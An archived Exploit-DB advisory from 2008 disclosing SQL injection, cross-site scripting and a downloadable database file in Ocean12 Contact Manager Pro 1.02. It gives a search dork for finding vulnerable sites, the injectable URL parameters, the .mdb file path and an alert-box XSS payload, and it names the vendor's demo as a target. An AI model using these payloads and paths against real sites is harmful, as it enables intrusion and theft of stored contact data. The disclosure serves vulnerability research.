Ocean12 Contact Manager Pro SQL/XSS/DDV Multiple Vulnerabilities

2008-11-27T00:00:00
ID EDB-ID:7244
Type exploitdb
Reporter Pouya_Server
Modified 2008-11-27T00:00:00

Description

Ocean12 Contact Manager Pro (SQL/XSS/DDV) Multiple Vulnerabilities. CVE-2008-6369,CVE-2008-6370. Webapps exploit for php platform

                                        
                                            #########################################################
---------------------------------------------------------
Portal Name: Ocean12 Contact Manager Pro
Version : 1.02
Vendor : http://ocean12tech.com/products/contact
Dork: Maintained with the Ocean12 Contact Manager Pro v1.02
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DDV,XSS,SQL)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL]
 
[Database Disclosure Vulnerability]:
http://site.com/path/o12con.mdb
 
[XSS]:
http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server
---------------------------------
Victem :
http://ocean12tech.com/products/contact/demo

# milw0rm.com [2008-11-27]